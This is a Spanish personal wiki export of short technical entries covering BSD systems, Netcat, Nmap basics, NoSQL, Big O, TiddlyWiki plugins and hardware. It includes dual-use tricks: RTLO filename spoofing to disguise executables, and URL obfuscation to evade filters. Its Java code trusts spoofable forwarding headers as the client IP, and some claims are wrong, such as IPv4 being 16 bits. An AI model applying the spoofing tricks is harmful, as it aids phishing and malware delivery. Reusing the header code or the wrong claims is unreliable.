** Documentación en castellano: http://www.eldemonio.org/netbsd.html
** Live CD: http://www.jibbed.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Es un [[IDE]] hecho en [[Java]] y orientado a [[Java]], aunque recientemente ha comenzado a soportar otros lenguajes de la [[JVM]]. Es sencillo y potente y destaca sobre todo por si editor de [[interfaces gráficas |GUI]], llamado Matisse.

NetBeans está soportado por Oracle (antes Sun).

Más información:
* http://es.wikipedia.org/wiki/Netbeans
* http://www.netbeans.org/
! Introducción
Netcat es una versatil herramienta de redes y seguridad que se ha apodado "la navaja suiza de las redes" por la cantidad de funcionalidades útiles que implementa.

! ncat
Netcat es una herramienta muy útil, pero desde su aparición han ido surgiendo distintos forks que añadían características nuevas. Fyodor, el famoso creador del programa "nmap" ha creado una nueva versión llamada "ncat" que recoge en una sola herramienta muchos de esos añadidos que distintos usuarios han ido creando. Puede encontrarse aquí: http://nmap.org/ncat/

La guía de usuario puede encontrarse aquí: http://nmap.org/ncat/guide/index.html

! Referencias
http://en.wikipedia.org/wiki/Netcat
http://nmap.org/ncat/guide/index.html
http://www.pentester.es/2009/06/ncat-el-sucesor-de-netcat.html
* {{{<<newChild>>}}} <<newChild>>
* {{{<<newChild useName:true>>}}} <<newChild useName:true>>
* {{{<<newChild useName:true inheritTags:true>>}}} <<newChild useName:true inheritTags:true>>
* {{{<<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro">>}}} <<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro">>
* {{{<<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro" excludeTag:[[otro tag]] excludeTag:misPlugins debug_on:true>>}}} <<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro" excludeTag:[[otro tag]] excludeTag:misPlugins debug_on:true>>
/***
|Name:|NewHereExtendedPlugin|
|Description:|Creates a new tiddler that inherits tags. Based in the NewHerePlugin|
|Version:|1.0 ($Rev: 1 $)|
|Author:|Rubén C. J. based on the work of Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|

!Description
This plugin is based on [[NewHerePlugin]] and defines the macro {{{<<newChild>>}}}. Like it, by default uses the name of the parent tiddler as a tag for the new tiddler, but with this version you can especify the parameter {{{inheritTags:true}}}, and the new tiddler will use the parent's tags.

!Examples:
[[NewHereExtendedDemo]]

!Code
***/
//{{{
config.macros.newChild= {};
config.macros.newChild.handler = function(place,macroName,params,wikifier,paramString,tiddler) {

    //Check parameters
    var prms = paramString.parseParams("anon", null, true);
    var useName = getParam(prms, "useName") || true;
    var inheritTags = getParam(prms, "inheritTags") || false;
    var excludeTag = getParam(prms, "excludeTag") || "";
    var debug_on = getParam(prms, "debug_on") == "true";

    //Take tags from parent
    var tags_str = "";
    if (inheritTags) {
        for (var i = 0; i < tiddler.tags.length; i++) {
            if (tiddler.tags[i].trim() != excludeTag.trim()) {
                tags_str += "tag:[["+tiddler.tags[i]+"]] ";
            }
        }
    }
    
    //Use tiddler name as tag
    if (useName) {
        tags_str += "tag:[["+tiddler.title+"]] ";
    }
    
    //Debug
    if (debug_on) {
        var debug_msg = "";
        //debug_msg += "\n- params("+typeof params+"): '"+params+"'";
        debug_msg += "\n- paramString-> "+paramString;
        debug_msg += "\n- Tags-> "+tiddler.tags;
        debug_msg += "\n- tags_str-> "+tags_str;
        debug_msg += "\n- excludeTag-> "+excludeTag;
        debug_msg += "\n- useName-> "+useName;

        alert(debug_msg);
    }

    wikify("<<newTiddler "+paramString+" "+tags_str+" >>",place,null,tiddler);
};

//}}}
/***
|Name:|NewHerePlugin|
|Description:|Creates the new here and new journal macros|
|Version:|3.0 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#NewHerePlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.macros, {
	newHere: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			wikify("<<newTiddler "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
		}
	},
	newJournalHere: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			wikify("<<newJournal "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
		}
	}
});

//}}}
/***
|Name:|NewMeansNewPlugin|
|Description:|If 'New Tiddler' already exists then create 'New Tiddler (1)' and so on|
|Version:|1.1.1 ($Rev: 2263 $)|
|Date:|$Date: 2007-06-13 04:22:32 +1000 (Wed, 13 Jun 2007) $|
|Source:|http://mptw.tiddlyspot.com/empty.html#NewMeansNewPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Note: I think this should be in the core
***/
//{{{

// change this or set config.newMeansNewForJournalsToo it in MptwUuserConfigPlugin
if (config.newMeansNewForJournalsToo == undefined) config.newMeansNewForJournalsToo = true;

String.prototype.getNextFreeName = function() {
       var numberRegExp = / \(([0-9]+)\)$/;
       var match = numberRegExp.exec(this);
       if (match) {
               var num = parseInt(match[1]) + 1;
               return this.replace(numberRegExp," ("+num+")");
       }
       else {
               return this + " (1)";
       }
}

config.macros.newTiddler.checkForUnsaved = function(newName) {
	var r = false;
	story.forEachTiddler(function(title,element) {
		if (title == newName)
			r = true;
	});
	return r;
}

config.macros.newTiddler.getName = function(newName) {
       while (store.getTiddler(newName) || config.macros.newTiddler.checkForUnsaved(newName))
               newName = newName.getNextFreeName();
       return newName;
}


config.macros.newTiddler.onClickNewTiddler = function()
{
	var title = this.getAttribute("newTitle");
	if(this.getAttribute("isJournal") == "true") {
		title = new Date().formatString(title.trim());
	}

	// ---- these three lines should be the only difference between this and the core onClickNewTiddler
	if (config.newMeansNewForJournalsToo || this.getAttribute("isJournal") != "true")
		title = config.macros.newTiddler.getName(title);

	var params = this.getAttribute("params");
	var tags = params ? params.split("|") : [];
	var focus = this.getAttribute("newFocus");
	var template = this.getAttribute("newTemplate");
	var customFields = this.getAttribute("customFields");
	if(!customFields && !store.isShadowTiddler(title))
		customFields = String.encodeHashMap(config.defaultCustomFields);
	story.displayTiddler(null,title,template,false,null,null);
	var tiddlerElem = story.getTiddler(title);
	if(customFields)
		story.addCustomFields(tiddlerElem,customFields);
	var text = this.getAttribute("newText");
	if(typeof text == "string")
		story.getTiddlerField(title,"text").value = text.format([title]);
	for(var t=0;t<tags.length;t++)
		story.setTiddlerTag(title,tags[t],+1);
	story.focusTiddler(title,focus);
	return false;
};

//}}}
/***
|''Name''|NewTiddlerSetPlugin|
|''Description''|Creates a set of tiddlers composed by a main tiddler with several tiddlers transcluded|
|''Author''|Rubén C. J.|
|''Version''|1.0|
|''Date''|2010-02-03|
|''Status''|@@beta@@|
|''Copyright''|2010 Rubén Corral|
|''License''|http://mptw.tiddlyspot.com/#TheBSDLicense|
|''CoreVersion''|2.5|
|''Feedback''|asf<dot>dominio<att>gmail<dot>com|
!Description
This plugin creates a tiddler composed by a main tiddler that acts as a container, and several subtiddlers that are transcluded into the main tiddler. Main tiddler must contain parameters {{{$1}}}, {{{$2}}}, etc.
!Notes
Experimental plugin, use it at your own risk!
!Usage
{{{
<<newTiddlerSet>>
}}}
!!Parameters
<...>
!!Examples
<<newTiddlerSet rootName:[[PluginTest01]] rootTemplate:[[plantilla_categoria]] name1:[[Hijo1]] tag1:[[_desc]] name2:[[Hijo2]] tag2:>>
!Revision History
!!v0.1 (2010-02-03)
* First unstable version
!To Do
# Make it working :)
!Code
***/
//{{{
if(!version.extensions.NewTiddlerSetPlugin) { //# ensure that the plugin is only installed once
version.extensions.NewTiddlerSetPlugin = { installed: true };

if(!window.errepunto) { window.errepunto = {}; }

errepunto.test_fn =  function(p) {
    alert("Test: "+p);

};

config.macros.newTiddlerSet = {
    handler: function(place, macroName, params, wikifier, paramString, tiddler) {
    //Process params
        var prms = paramString.parseParams("anon", null, true);
        var rootName = getParam(prms, "rootName") || "<root>";
        var rootTemplate = getParam(prms, "rootTemplate");

        var childrenNames = new Array();
        var childrenTags = new Array();
        for (var i = 1; ; i++){
            var cn = getParam(prms, "name"+i);
            var ct = getParam(prms, "tag"+i);
            if (typeof(cn) == "undefined" || typeof(ct) == "undefined"){
                break;
            }
            
            childrenNames[i-1] = cn;
            childrenTags[i-1] = ct;
        }
        
    }
};

} //# end of "install only once"
//}}}
<<showtoc>>
!Descripción
<part descripcion>
Información sobre el teléfono móvil patrocinado por Google y construido por LG, Nexus 4.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Nexus_4
* Página oficial: https://play.google.com/store/devices/details?id=nexus_4_16gb
* Foro de XDA: http://forum.xda-developers.com/forumdisplay.php?f=1907
* Wiki de XDA: http://forum.xda-developers.com/wiki/LG_Nexus_4
* Nexus 4 FAQ: http://forum.xda-developers.com/showthread.php?t=2010338
* Especificaciones técnicas: http://forum.xda-developers.com/showthread.php?t=1964850
* Índice de información en XDA: http://forum.xda-developers.com/showthread.php?t=1975842

!! Root
* Paso a paso desde windows: http://forum.xda-developers.com/showthread.php?t=2019273
* Video guía sobre hacerse root: http://forum.xda-developers.com/showthread.php?t=2147325
* Desrootear y volver a la imagen de stock: http://forum.xda-developers.com/showthread.php?t=2010312
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Introducción
Este es un sencillo tutorial de las opciones más básicas de Nmap. No pretende en ningún caso ser una guía completa ni mucho menos, si no tan sólo relatar las opciones que se usan más habitualmente.

! Definir los host a escanear
Lo primero es definir las redes a inspeccionar. Nmap permite hacerlo de tres formas: separando cada IP o rango por espacios, definiendo un intervalo con guiones o con máscara rápida ({{{/24}}} para redes tipo C, {{{/16}}} para B etc). Veamos algunos ejemplos:
|{{{192.168.17.40 192.168.17.41}}} |Escanea sólo esos dos hosts |
|{{{scanme.org}}} |Escanea el host con ese nombre |
|{{{192.168.17.1-254}}} |Escanea la red {{{192.168.17}}} entera |
|{{{192.168.17.1/24}}} |Escanea la red {{{192.168.17}}} entera  (equivalente al anterior)|

! Definir el listado de puertos a escanear
Los puertos a escanear se definen con el parámetro {{{-p}}}. Por defecto escanea los más típicos, así que quizás no sea necesario indicarlo. Los puertos también se pueden definir con intervalos separados por un guión, y se pueden definir varios intervalos separados por comas. Veamos algunos ejemplos:
|{{{-p 22}}} |Escanea sólo el puerto 22 |
|{{{-p 21,22,23,24}}} |Escanea los puertos 21, 22, 23 y 24 |
|{{{-p 21-24}}} |Escanea los puertos 21 y 24 (equivalente a lo anterior) |
|{{{-p 1-65535}}} |Escanea todos los puertos |
|{{{-p U:53-55,T:21-24}}} |Escanea los puertos UDP 53 a 55 y TCP 21 a 24 |
|{{{-p 22}}} |Escanea sólo el puerto 22 |

! Definir el tipo de escaneo
Los tipos de escaneo se definen en parámetros que empiezan por {{{-s}}} (ese minúscula) y a continuación llevan una letra que define el tipo. Los principales tipos son los siguientes:
|{{{-sn}}} |Sólo hacer ping. No escanea puertos, sólo muestra los hosts activos. Es el más rápido y sencillo. |
|{{{-sS}}} |Escaneo SYN. Es el más habitual y es anómino (no deja logs), rápido y fiable.  Necesita permisos de admin|
|{{{-sT}}} |Escaneo TCP. Es el más indicado si no puede hacerse un SYN. Este si que deja logs y es algo más lento |
|{{{-sA}}} |Escaneo ACK. Este es indicado para comprobar que filtra el firewall. No muestra los puertos abiertos, si no si están filtrados o no |

! Otros parámetros
Para mostrar más información pueden utilizarse los parámetros {{{-v}}} o {{{-vv}} (dos uves), que muestran información adicional 

Un parámetro interesantes es {{{-O}}} (o mayúscula), que además activará la detección del sistema operativo de las máquinas objetivo. No es completamente exacto, pero puede ser útil.

El parámetro {{{-A}}}activa la detección del sistema operativo, hace traceroute y unas cuantas comprobaciones adicionales. Es lento así que mejor no hacerlo contra muchos hosts.

Si está filtrado el tráfico ICMP con la opción {{{-Pn}}} no se envían pings y se tratan todos los host como activos. En caso contrario, al no recibir el ping trataría al host como inactivo.

! Uniéndolo todo
Ejemplos de uso habitual:
|{{{nmap -sn 192.168.17/24}}} |Enumera los host activos en la red |
|{{{nmap -v -A 192.168.17.100}}} |Escaneo por defecto (SYN y puertos por defecto) a uno host. Además muestra el SO y más datos. |
|{{{nmap -v -p80,443 192.168.17.1/24}}} |Busca servidores web en la red |

Más ejemplos en http://nmap.org/book/man-examples.html

! Referencias
* Página principal: http://nmap.org
* Scripting en NMAP: http://seguridadyredes.nireblog.com/post/2010/02/25/nmap-nse-scripting-breve-resena-para-creacion-y-ejecucion-scripts-nse-nmap-parte-1
!Descripción
<part descripcion>
Las bases de NoSQL se caracterizan por no utilizar el popular lenguaje de consultas, y sobre todo y más importante, por mantener unas estructuras de datos mucho más sencillas, rápidas y eficientes. Son capaces de manejar muchos más datos de forma concurrente y paralela.

La contrapartida es que estos "almacenamientos de datos" (algunos no las consideran estrictamente bases de datos) no suelen soportar integridad referencial ni uniones entre tablas para hacer consultas complejas.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/NoSQL
** Sistemas de almacenamiento estructurado: http://en.wikipedia.org/wiki/Structured_storage
** Artículo en Dos Ideas: http://www.dosideas.com/noticias/base-de-datos/657-nosql-el-movimiento-en-contra-de-las-bases-de-datos.html
* ''Sistemas tabulares (almacenamiento en tablas):''
** CassandraDB: http://incubator.apache.org/cassandra/
** HyperTable: http://www.hypertable.org/
** BigTable de Google: http://labs.google.com/papers/bigtable.html
** Dynamo de Amazon: http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html
* ''Orientadas a documentación:''
** MongoDB: http://www.mongodb.org/display/DOCS/Databases
** CouchDB: http://couchdb.apache.org/
* ''Almacenamiento de pares clave/valor (estilo diccionario):''
** MemcacheDB: http://memcachedb.org/
** SimpleDB de Amazon: http://aws.amazon.com/simpledb/
* ''Orientadas a gráficos:''
** neo4j: http://neo4j.org/
* ''Tutoriales:''
** Tutorial de CouchDB: http://4tic.com/es/blog/40-blgo/63-couchdb-una-bd-diferente
** Tutorial de MongoDB: http://4tic.com/es/blog/40-blgo/69-mongodb-la-mysql-del-nosql
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
La notación //"O()"// también es conocida como //"notación o mayúscula"// o en inglés //"big O"// es una manera de clasificar la eficiencia, eficacia o complejidad de un algoritmo informático, poniéndose siempre en el caso peor.

La expresión que se pone entre los paréntesis indica a grosso modo como se comporta el algoritmo conforme aumenta el tamaño de la entrada o del dato a calcular. Las expresiones son siempre aproximadas y sirven para hacerse una idea de lo rápido que crecerá el consumo de recursos conforme aumente la complejidad del calculo, no pretende ser una medida exacta.

En otras palabras, da un órden de magnitud, no un valor exacto, sobre el consumo de tiempo o recursos de un algoritmo en función al tamaño de la entrada de datos. En cuanto se vean las distintas categorías se comprenderá mucho mejor.

! Clasificación de los algoritmos
A continuación se detallan los siguientes tipos de algoritmos ordenados de mejor a peor comportamiento.

!! O(1)
Un algoritmo de este tipo es un algoritmo que necesita los mismos recursos (tarda siempre lo mismo o siempre consume la misma memoria) independientemente del tamaño de la entrada. Este es el mejor de los casos posibles, y casi siempre inalcanzable. Un ejemplo sería la extracción del primer elemento de una lista.
!!O(log n)
La complejidad crece con el logaritmo del tamaño de la entrada. Este tipo de comportamiento es muy deseable para un algoritmo, dado que crece mucho más lentamente que casi cualquier otro
!!O((log n)^^2^^)
Este caso es algo peor que el anterior, pero, en general, O((log n)^^C^^) donde c es una constante, crece más lento que el tamaño de la entrada, así que siguen siendo algoritmos bastante óptimos.
!! O(n)
Este tipo de algoritmos son algoritmos que aumentan linealmente el consumo de recursos. Es el caso de los bucles simples: cuantos más elementos, más tiempo se tardará en procesarlos. A partir de este orden de magnitud el consumo de tiempo y/o recursos comienza a crecer más rápidamente que el tamaño que los datos de entrada.
!!O(n log n) ó O(log n!)
La complejidad y/o gasto de recursos de estos algoritmos es mayor que los anteriores, pero todavía sigue estando dentro de lo razonable, aunque aumenta algo más rápido que el tamaño de la entrada a procesar. Muchos algoritmos pueden ser adaptados y optimizados como mucho hasta este orden de magnitud.
!! O(n^^2^^)
Este otro tipo de algoritmos son algoritmos que crecen cuadráticamente. Esto es, si se representa el consumo de recursos en una gráfica, el consumo crecerá como una parábola. El ejemplo típico sería un algoritmo que precise dos bucles anidados. Esta categoría se puede generalizar: un algoritmo cuyo gasto de recursos aumente al cubo será O(N^^3^^), etc.
!! O(2^^n^^)
Este es un caso mucho peor, en el que el rendimiento cae exponencialmente con el tamaño de la entrada. Es uno de los peores casos, ya que es muy fácil que sea imposible realizar el calculo por falta de recursos con un conjunto relativamente pequeño de datos. Típicamente suelen presentar este comportamiento algoritmos de fuerza bruta, como el backtracking.
!! O(n!)
Es el menos óptimo de los algoritmos, y hay que evitarlo siempre que se pueda. El consumo de tiempo y/o recursos aumenta increiblemente rápido en relación con el tamaño o complejidad de los datos de entrada.
!Comparación
(:graph({width:640,height:480,scales:[0,8,-1,15]})
grid({dx:1,stroke:"gray"});
axes({marker:">"});
plot("1",{min:1, stroke:"red"})
plot("log(x)",{min:1, stroke:"blue"})
plot("pow(log(x), 2)",{min:1, stroke:"green"})
plot("x",{min:1, stroke:"orange"})
plot("x*log(x)",{min:1, stroke:"red", strokedasharray:"10,10"})
plot("pow(x, 2)",{min:1, stroke:"bue", strokedasharray:"10,10"})
plot("pow(2, x)",{min:1, stroke:"green", strokedasharray:"10,10"})
plot("factorial(x)",{min:1, stroke:"orange", strokedasharray:"10,10"})

text([1,9],"O(1)",{fontsize:10,fontfill:"red"});
text([1,8.5],"O(log n)",{fontsize:10,fontfill:"blue"});
text([1,8],"O((log n)^2)",{fontsize:10,fontfill:"green"});
text([1,7.5],"O(n)",{fontsize:10,fontfill:"orange"});
text([1,6.5],"O(n log n)",{fontsize:10,fontfill:"red"});
text([1,6],"O(n^2)",{fontsize:10,fontfill:"blue"});
text([1,5.5],"O(2^x)",{fontsize:10,fontfill:"green"});
text([1,5],"O(n!)",{fontsize:10,fontfill:"orange"});
:)

!Referencias
http://rob-bell.net/2009/06/a-beginners-guide-to-big-o-notation/
http://en.wikipedia.org/wiki/Big_O_notation
Son las siglas de Open Course Ware. Son cursos completos difundidos por universidades. Generalmente suelen consistir en los apuntes de clase, ejercicios y a veces vídeos, grabaciones y otro tipo de materiales. Son complementos de formación muy útiles para los estudiantes de todo el mundo e incluso para aficionados que quieran aumentar sus conocimientos en ciertos campos. También se conoce a esta iniciativa como "La Universidad Abierta".
<<showtoc>>
!Descripción
<part descripcion>
ODROID-U2 es un "sistema en un chip" (SoC) formado por un procesador quad core Exynos4412 a 1.7Gz por core, y con 2GB de RAM. Además incorpora dos puertos USB2.0, un microUSB y un conector Ethernet 10/100M, sin olvidar un conector UART para depuración.

Lleva preinstalado Android y tiene soporte oficial para Ubuntu Linux. También existen distribuciones sin soporte oficial, como Arch Linux.

Comparado con el [[AK802]] es mucho más potente.
</part>
! Enlaces
<part enlaces>
!! General
* Página del producto: http://www.hardkernel.com/renewal_2011/products/prdt_info.php
* Especificaciones: http://odroid.us/mediawiki/index.php?title=ODROID-U2
* Blog: http://com.odroid.com/sigong/blog/blog_list.php
* Foro(antiguo, ahora cerrado): http://odroid.foros-phpbb.com/c18-odroid-u2
* Foro (nuevo y activo): http://forum.odroid.com/
* Información general: http://dev.odroid.com/projects/odroid
* Hardware: http://dev.odroid.com/projects/odroid-xq/ (//Nota: los modelos U2 y X2 son muy similares, y casi toda la información sobre X2 aplica a U2//)
* Wiki oficial: http://dev.odroid.com/
* Wiki no oficial: http://odroid.us/mediawiki/index.php?title=Main_Page
* Descargas: http://dn.odroid.com/
* Mirror para las descargas (US): http://www.mdrjr.net/odroid/mirror

!! Linux y desarrollo
* Página de información técnica: http://dev.odroid.com/
* Repositorios de código: https://github.com/hardkernel?tab=repositories
* uboot: http://dev.odroid.com/projects/uboot
* Linux para ODROID: http://dev.odroid.com/projects/linux
* Arch en ODROID-U2: http://odroid.foros-phpbb.com/t2021-arch-linux-arm
* Root file system en dispositivo USB: http://odroid.us/mediawiki/index.php?title=Mounting_Root_File_System_on_External_USB_Drive
* Debian Wheezy: http://forum.odroid.com/viewtopic.php?f=9&t=245
** Descargas y tutorial: http://odroid.us/mediawiki/index.php?title=Debian_Wheezy_Instructions

!! Tutoriales diversos
* Jdownloader + owncloud: http://forum.odroid.com/viewtopic.php?f=8&t=260
* Uso del USB - UART: http://forum.odroid.com/viewtopic.php?f=53&t=73
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Son las siglas de Open Video Ware. Son vídeos educativos distribuidos de forma gratuita. Suelen ser grabaciones de clases de universidades con cierto prestigio, por lo que su valor académico puede ser muy elevado. Suelen complementar a programas [[OCW]].
!Introducción
Si el cliente se conecta a un servidor con un proxy intermedio, al servidor le llegará la petición desde la IP del proxy, no directamente desde el cliente.

!Solución
Los proxy suelen meter unas cabeceras http adicionales con la IP original del cliente. Las cabeceras más comunes son:
* {{{Via}}}
* {{{Forwarded}}}
* {{{X-Forwarded-For}}}
* {{{Client-ip}}}

!Ejemplo
El siguiente código para J2EE comprueba si existen las citadas cabeceras y en caso contrario devuelve la IP de la petición:
<code java>
import javax.servlet.http.*;

import org.apache.log4j.Logger;

public class IPUtils  {
    static Logger log = Logger.getLogger(IPUtils.class);
    
    public static String clientIP(HttpServletRequest request) {
        String xForwarded = request.getHeader("X-FORWARDED-FOR");
        String forwarded = request.getHeader("FORWARDED");
        String via = request.getHeader("VIA");
        String client = request.getHeader("CLIENT-IP");
    
        String dirIP = request.getRemoteAddr();
        if (xForwarded != null) {
            dirIP = xForwarded;
        } else if (forwarded != null) {
            dirIP = forwarded;
        } else if (via != null) {
            dirIP = via;
        } else if (client != null) {
            dirIP = client;
        }
        
        log.debug("Extrayendo IP:" +
            "\n * IP física:       " + request.getRemoteAddr() +
            "\n * X-FORWARDED-FOR: " + xForwarded +
            "\n * FORWARDED:       " + forwarded +
            "\n * VIA:             " + via +
            "\n * CLIENT-IP:       " + client
        );
        
        //if (dirIP == null) dirIP = request.getRemoteAddr();
        return dirIP;
    }
}
</code>
!!Obtener una URL con cUrl^^[[<editar>|$1]]^^
Como obtener una página web usando una llamada a cUrl:
<code php>
<?php
// create curl resource
$ch = curl_init();
// set url
curl_setopt($ch, CURLOPT_URL, "http://example.com");
// return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// save output to string
$output = curl_exec($ch);
// close curl resource to free up system resources
curl_close($ch);
?>
</code>

Extraido de http://www.getsolved.com/web/php/save-curl-output-to-string/
!Descripción
<part descripcion>
Información sobre cosas que hacer en tiempo de ocio.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Octave es software que utiliza un lenguaje muy similar a Matlab. Está orientado al cálculo numérico y la ingeniería.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://en.wikipedia.org/wiki/GNU_Octave
* Página principal: http://www.gnu.org/software/octave/
* Cursos sobre Matlab y Octave: http://iimyo.forja.rediris.es/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!! Ocultar extensiones en windows usando unicode^^[[<editar>|$1]]^^
Un bug al mostrar las extensiones hace que en caso de insertar el caracter RTLO (U+202E, invertir el texto para lenguajes de escritura de derecha a izquierda) se pueda esconder la extensión. Por ejemplo, el nombre de fichero {{{Presupuesto[U+202E]cod.exe}}} aparecerá en windows como {{{Presupuestoexe.doc}}}. Veamos unos ejemplos:
{{{
Fotos[U+202E]gpj.exe -> Fotos‮gpj.exe
‮‭leeme[U+202E]txt.cmd -> leeme‮txt.cmd
‭
}}}
! Introducción
La ofuscación de URL es una técnica utilizada para saltarse los controles y filtros sobre las URLs formadas de distintas maneras, o para hacer que una URL no sea legible para una persona. Las posibilidades son muchas, y casi todas malvadas :)

! Transformaciones
Sobre una URL se le pueden aplicar diversas transformaciones de forma que cambia el aspecto a simple vista pero sigue apuntando a la misma dirección. Estas transformaciones se pueden aplicar en casi cualquier orden y momento, a toda la URL o sólo a ciertas partes. Se pueden usar de forma creativa para que la URL parezca completamente distinta. Estas son las transformaciones posibles:

!! Uso de la arroba '@'
Entre el {{{http://}}} y el cuerpo de la dirección se puede poner cualquier cosa terminada en arroba. Lo que halla entre {{{http://}}} y la {{{@}}} no será interpretado por el navegador. Lo que hay antes de la arroba se usa en páginas con autenticación para enviar el usuario y contraseña (separados por {{{:}}}), pero en las páginas sin autentitación HTTP, estos parámetros son ignorados. Por ejemplo:
|!Original |http://info.yahoo.com/privacy/es/yahoo/ |
|!Modificada |http://loquesea2341+}@info.yahoo.com/privacy/es/yahoo/|
En los navegadores modernos (he probado con firefox) te muestra un mensaje de advertencia.

!! Codificar al IP de formas distintas
Las IPs se suelen proporcionar como cuatro valores entre 0 y 255 separados por puntos, pero esta no es la única manera. Una IP es en realidad un bloque de 16 bits (2 bytes). En definitiva, una IP es un número en base 256, y se puede convertir a otras bases. 
* Decimal (base 10): Se puede convertir una IP con la forma {{{A.B.C.D}}} en un número aplicando la fórmula siguiente:
$$ x = D+C\cdot256+B\cdot256^{2}+A\cdot256^{3}$$
* Octal separado por puntos: Cada componente de la IP se convierte a base octal. Cada componente debe comenzar obligatoriamente por uno o más ceros.
* Octal sin puntos: Primero se convierte el número a decimal. Una vez hecho, se puede transformar en octal. Siempre debe comenzar por uno o más ceros.
* Hexadecimal con puntos: Al igual que con los métodos anteriores, cada componente de la IP se puede convertir a hexadecimal. En este caso, cada componente debe comenzar por '{{{0x}}}'.
* Hexadecimal sin puntos: Si cada parte de la IP se codifica como hexadecimal de dos dígitos, se pueden pegar las 4 componentes con un '{{{0x}}}' delante, sin necesidad de hacer más cálculos.
* Hexadecimal sin puntos (con dígitos de más): Algunos navegadores sólo cogen los 8 últimos dígitos hexadecimales, por lo que se pondrían poner cualesquiera dígitos hexadecimanes entre el '{{{0x}}}' y la primera cifra.

Ejemplo comparativo:
|!Original |http://87.248.122.90/privacy/es/yahoo/ (host: info.yahoo.com) |
|!Decimal |http:/1475902042/privacy/es/yahoo/ |
|!Octal con puntos |http://0127.0370.0000172.00000000132/privacy/es/yahoo/ |
|!Octal sin puntos |http://012776075132/privacy/es/yahoo/ |
|!Hexadecima con puntos |http://0x57.0xf8.0x7a.0x5a/privacy/es/yahoo/ |
|!Hexadecimal sin puntos |http://0x57f87a5a/privacy/es/yahoo/ |
|!Hexadecimal sin puntos (con dígitos de más) |http://0x0123456789ABcd57f87a5a/privacy/es/yahoo/ |

!! Sustituir caracteres por su equivalente hexadecimal
Está permitido usar caracteres ASCII codificados en hexadecimal en las URL. Un caracter definido por su código hexadecimal consiste en un '{{{%}}}' seguido de dos caracteres hexadecimales. Por ejemplo, el caracter de espacio en blanco equivale a {{{%20}}}. Se pueden sustituir cualesquiera caracteres. Ejemplo con las vocales sustituidas:
|!Original |http://info.yahoo.com/privacy/es/yahoo/ |
|!Modificada |http://%69nf%6F.y%61h%6F%6F.c%6Fm/pr%69v%61cy/%65s/y%61h%6F%6F/|

Este método básico para convertir códigos hexadecimales en caracteres ASCII puede extenderse y aplicarse varias veces. Esto quiere decir, que en vez de utilizar directamente el caracter {{{%}}} se puede utilizar {{{%25}}}. Veamos un ejemplo de todas las posibilidades:

| !Nombre | !Hexadecimal | !Expansión |h
|''ASCII'' | |{{{A}}} |
|''Hexadecimal simple'' |{{{%41}}} |{{{41}}} es el carácter A en hexadecimal |
|''Percent Hex '' |{{{%2541}}} |{{{%25}}} es el carácter {{{%}}} por lo que se nos queda{{{%41}}} |
|''Double Nibble'' |{{{%%34%31}}} |{{{%34}}} es{{{4}}}, {{{%31}}} es {{{1}}} quedando {{{%41}}} |
|''First Nibble'' |{{{%%341}}} |dec {{{%34}}} como {{{4}}} y queda {{{%41}}} |
|''Second Nibble'' |{{{%4%31}}} |dec {{{%31}}} como {{{1}}} y queda {{{%41}}}|

! Más información
* http://www.pc-help.org/obscure.htm
!Descripción
<part descripcion>
OpenBSD es un sistema operativo basado en BSD 4.4. Al igual que otros BSD, aunque no tiene licencia para denominarse UNIX, es completamente compatible con el estándar POSIX.

OpenBSD nació como un fork de NetBSD debido a confrontaciones entre los líderes de ambos equipos, aunque OpenBSD se ha orientado a la seguridad. No en vano, el sistema de cifrado Open SSH fué diseñado dentro de este proyecto y posteriormente exportado a otras plataformas.

El eslogan de OpenBSD es "Free, Functional and Secure": "libre, funcional y seguro".
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/OpenBSD
** Página principal: http://www.openbsd.org/
** Repositorio de documentación: http://www.openbsdsupport.org/
** OpenBSD como sistema de escritorio: http://structio.sourceforge.net/guias/usuario_OpenBSD/
</part>

